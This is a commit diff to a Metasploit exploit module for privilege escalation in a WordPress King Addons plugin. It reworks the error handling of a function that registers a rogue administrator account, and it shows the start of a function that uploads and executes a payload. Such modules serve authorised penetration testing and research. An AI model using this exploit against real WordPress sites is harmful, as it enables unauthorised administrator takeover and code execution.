Update modules/exploits/multi/http/wp_king_addons_privilege_escalation.rb

Co-authored-by: Phil Townes <phil_townes@rapid7.com>

modules/exploits/multi/http/wp_king_addons_privilege_escalation.rb

@@ -180,16 +180,23 @@ class MetasploitModule < Msf::Exploit::Remote
 
   def create_admin_user(username, password, email)
     res = send_registration_request(username: username, email: email, password: password)
-    return false unless res&.code == 200
+    unless res&.code == 200
+      fail_with(Failure::UnexpectedReply, 'Failed to create administrator account (HTTP error).')
+    end
 
     json = res.get_json_document
-    return false unless json.is_a?(Hash)
+    unless json.is_a?(Hash)
+      fail_with(Failure::UnexpectedReply, 'Failed to create administrator account (Unexpected response.')
+    end
 
-    return :user_exists if json['success'] == false && json.dig('data', 'message')&.match?(/already exists|username.*taken|user.*exists/i)
-    return true if json['success'] == true
+    if json['success'] == false && json.dig('data', 'message')&.match?(/already exists|username.*taken|user.*exists/i)
+      print_warning('User already exists, attempting login with provided credentials...')
+      return
+    end
 
-    print_error("Unexpected response: #{res.body}")
-    false
+    return if json['success'] == true
+
+    fail_with(Failure::UnexpectedReply, "Unexpected response: #{res.body}")
   end
 
   def upload_and_execute_payload(admin_cookie)